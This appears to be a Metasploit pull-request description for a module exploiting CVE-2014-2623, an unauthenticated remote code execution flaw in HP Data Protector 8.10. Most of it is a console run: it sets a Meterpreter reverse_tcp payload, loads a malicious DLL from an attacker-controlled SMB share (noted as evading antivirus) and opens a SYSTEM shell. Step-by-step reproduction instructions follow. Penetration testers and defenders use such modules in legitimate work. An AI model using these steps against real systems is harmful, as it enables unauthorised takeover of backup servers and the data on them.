CVE 2014-2623 - HP Data Protector 8.10 RCE

Module for CVE 2014-2623 (RCE in HP Data Protector 8.10)

This commit adds an MSF module which can be used to exploit CVE 2014-2623 - an
unauthenticated remote code execution vulnerability in HP DataProtector 8.10 discovered
by Christian Ramirez and Henoch Barrera from intrusionlabs.org.

Due to the limits on the size of the payload (256 bytes), this module defaults to loading 
a malicious DLL from an SMB share (which also has the benefit of bypassing several 
antivirus systems).

### Example Run ###
```
msf > use exploit/windows/misc/hp_dataprotector_dll_cmd_exec
msf exploit(hp_dataprotector_dll_cmd_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(hp_dataprotector_dll_cmd_exec) > set SRVHOST 172.16.252.1
SRVHOST => 172.16.252.1
msf exploit(hp_dataprotector_dll_cmd_exec) > set LHOST 172.16.252.1
LHOST => 172.16.252.1
msf exploit(hp_dataprotector_dll_cmd_exec) > set RHOST 172.16.252.136
RHOST => 172.16.252.136
msf exploit(hp_dataprotector_dll_cmd_exec) > check

[*] 172.16.252.136:5555 - HP Data Protector version HP Data Protector A.08.10: INET, internal build 154, built on 04 December 2013, 05:07
[*] 172.16.252.136:5555 - The target appears to be vulnerable.
msf exploit(hp_dataprotector_dll_cmd_exec) > exploit

[*] Started reverse handler on 172.16.252.1:4444 
[*] Sending load DLL to 172.16.252.136:5555 - \\172.16.252.1\LKLlW\SIPGiyc.dll
[*] Sending stage (770048 bytes) to 172.16.252.136
[*] Meterpreter session 12 opened (172.16.252.1:4444 -> 172.16.252.136:1037) at 2014-12-22 12:57:24 +0000

meterpreter > sysinfo 
Computer        : WIN2K3
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_GB
Meterpreter     : x86/win32
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
```
### Reproduction Steps ###
1. Download HP Data Protector 8.1 from http://www.autonomy.com/software?path=hp_data_protector_81_TD586DAE (Signup Required)
2. Install the software (accept default settings, i.e. leave the cell manager option empty) and start the service
3. use exploit/windows/misc/hp_dataprotector_dll_cmd_exec
4. set payload windows/meterpreter/reverse_tcp
5. set LHOST
6. set SRVHOST
7. set RHOST
8. exploit
9. Enjoy shells

### Verification ###
- [ ] Land #3074
- [ ] Land #3075
- [ ] Run exploit/windows/misc/hp_dataprotector_dll_cmd_exec against your vulnerable target

### Tested On ###
* HP DataProtector 8.1 on Windows Server 2003 and Windows Server 2008